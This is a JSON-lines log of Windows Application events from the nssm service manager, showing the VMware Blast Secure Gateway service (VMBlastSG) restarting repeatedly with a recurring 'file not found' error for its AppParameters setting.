{"@timestamp":1646736992549,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156992","156992","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160821}}
{"@timestamp":1646736992569,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160822}}
{"@timestamp":1646736992570,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160823}}
{"@timestamp":1646736992570,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160824}}
{"@timestamp":1646736992571,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160825}}
{"@timestamp":1646737121064,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160826}}
{"@timestamp":1646737121065,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160827}}
{"@timestamp":1646737121065,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158616","0"]}}},"module":"Application","provider":"nssm","sequence":160828}}
{"@timestamp":1646737121066,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158616","158616","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160829}}
{"@timestamp":1646737121083,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160830}}
{"@timestamp":1646737121084,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160831}}
{"@timestamp":1646737121084,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160832}}
{"@timestamp":1646737121085,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160833}}
{"@timestamp":1646737249600,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160834}}
{"@timestamp":1646737249601,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160835}}
{"@timestamp":1646737249603,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158088","0"]}}},"module":"Application","provider":"nssm","sequence":160836}}
{"@timestamp":1646737249604,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158088","158088","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160837}}
{"@timestamp":1646737249622,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160838}}
{"@timestamp":1646737249623,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160839}}
{"@timestamp":1646737249623,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160840}}
{"@timestamp":1646737249624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160841}}
{"@timestamp":1646737378128,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160842}}
{"@timestamp":1646737378128,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160843}}
{"@timestamp":1646737378129,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158168","0"]}}},"module":"Application","provider":"nssm","sequence":160844}}
{"@timestamp":1646737378130,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158168","158168","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160845}}
{"@timestamp":1646737378149,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160846}}
{"@timestamp":1646737378149,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160847}}
{"@timestamp":1646737378150,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160848}}
{"@timestamp":1646737378151,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160849}}
{"@timestamp":1646737506648,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160850}}
{"@timestamp":1646737506648,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160851}}
{"@timestamp":1646737506649,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157856","0"]}}},"module":"Application","provider":"nssm","sequence":160852}}
{"@timestamp":1646737506649,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157856","157856","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160853}}
{"@timestamp":1646737506666,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160854}}
{"@timestamp":1646737506666,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160855}}
{"@timestamp":1646737506667,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160856}}
{"@timestamp":1646737506668,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160857}}
{"@timestamp":1646737635150,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160858}}
{"@timestamp":1646737635151,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160859}}
{"@timestamp":1646737635151,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157764","0"]}}},"module":"Application","provider":"nssm","sequence":160860}}
{"@timestamp":1646737635152,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157764","157764","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160861}}
{"@timestamp":1646737635171,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160862}}
{"@timestamp":1646737635172,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160863}}
{"@timestamp":1646737635172,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160864}}
{"@timestamp":1646737635174,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160865}}
{"@timestamp":1646737763749,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160866}}
{"@timestamp":1646737763750,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160867}}
{"@timestamp":1646737763751,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156428","0"]}}},"module":"Application","provider":"nssm","sequence":160868}}
{"@timestamp":1646737763752,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156428","156428","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160869}}
{"@timestamp":1646737763769,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160870}}
{"@timestamp":1646737763770,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160871}}
{"@timestamp":1646737763770,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160872}}
{"@timestamp":1646737763771,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160873}}
{"@timestamp":1646737892267,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160874}}
{"@timestamp":1646737892267,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160875}}
{"@timestamp":1646737892268,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158204","0"]}}},"module":"Application","provider":"nssm","sequence":160876}}
{"@timestamp":1646737892270,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158204","158204","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160877}}
{"@timestamp":1646737892290,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160878}}
{"@timestamp":1646737892290,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160879}}
{"@timestamp":1646737892291,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160880}}
{"@timestamp":1646737892292,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160881}}
{"@timestamp":1646738020779,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160882}}
{"@timestamp":1646738020779,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160883}}
{"@timestamp":1646738020781,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158284","0"]}}},"module":"Application","provider":"nssm","sequence":160884}}
{"@timestamp":1646738020782,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158284","158284","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160885}}
{"@timestamp":1646738020800,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160886}}
{"@timestamp":1646738020800,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160887}}
{"@timestamp":1646738020801,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160888}}
{"@timestamp":1646738020801,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160889}}
{"@timestamp":1646738149316,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160890}}
{"@timestamp":1646738149317,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160891}}
{"@timestamp":1646738149317,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157760","0"]}}},"module":"Application","provider":"nssm","sequence":160892}}
{"@timestamp":1646738149318,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157760","157760","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160893}}
{"@timestamp":1646738149340,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160894}}
{"@timestamp":1646738149340,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160895}}
{"@timestamp":1646738149341,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160896}}
{"@timestamp":1646738149341,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160897}}
{"@timestamp":1646738277839,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160898}}
{"@timestamp":1646738277840,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160899}}
{"@timestamp":1646738277841,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157708","0"]}}},"module":"Application","provider":"nssm","sequence":160900}}
{"@timestamp":1646738277842,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157708","157708","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160901}}
{"@timestamp":1646738277861,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160902}}
{"@timestamp":1646738277861,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160903}}
{"@timestamp":1646738277862,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160904}}
{"@timestamp":1646738277863,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160905}}
{"@timestamp":1646738406365,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160906}}
{"@timestamp":1646738406366,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160907}}
{"@timestamp":1646738406366,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158192","0"]}}},"module":"Application","provider":"nssm","sequence":160908}}
{"@timestamp":1646738406367,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158192","158192","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160909}}
{"@timestamp":1646738406387,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160910}}
{"@timestamp":1646738406387,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160911}}
{"@timestamp":1646738406388,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160912}}
{"@timestamp":1646738406389,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160913}}
{"@timestamp":1646738535051,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160914}}
{"@timestamp":1646738535051,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160915}}
{"@timestamp":1646738535052,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","158508","0"]}}},"module":"Application","provider":"nssm","sequence":160916}}
{"@timestamp":1646738535052,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["158508","158508","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160917}}
{"@timestamp":1646738535072,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160918}}
{"@timestamp":1646738535073,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160919}}
{"@timestamp":1646738535074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160920}}
{"@timestamp":1646738535074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160921}}
{"@timestamp":1646738663603,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160922}}
{"@timestamp":1646738663604,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160923}}
{"@timestamp":1646738663604,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157840","0"]}}},"module":"Application","provider":"nssm","sequence":160924}}
{"@timestamp":1646738663606,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157840","157840","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160925}}
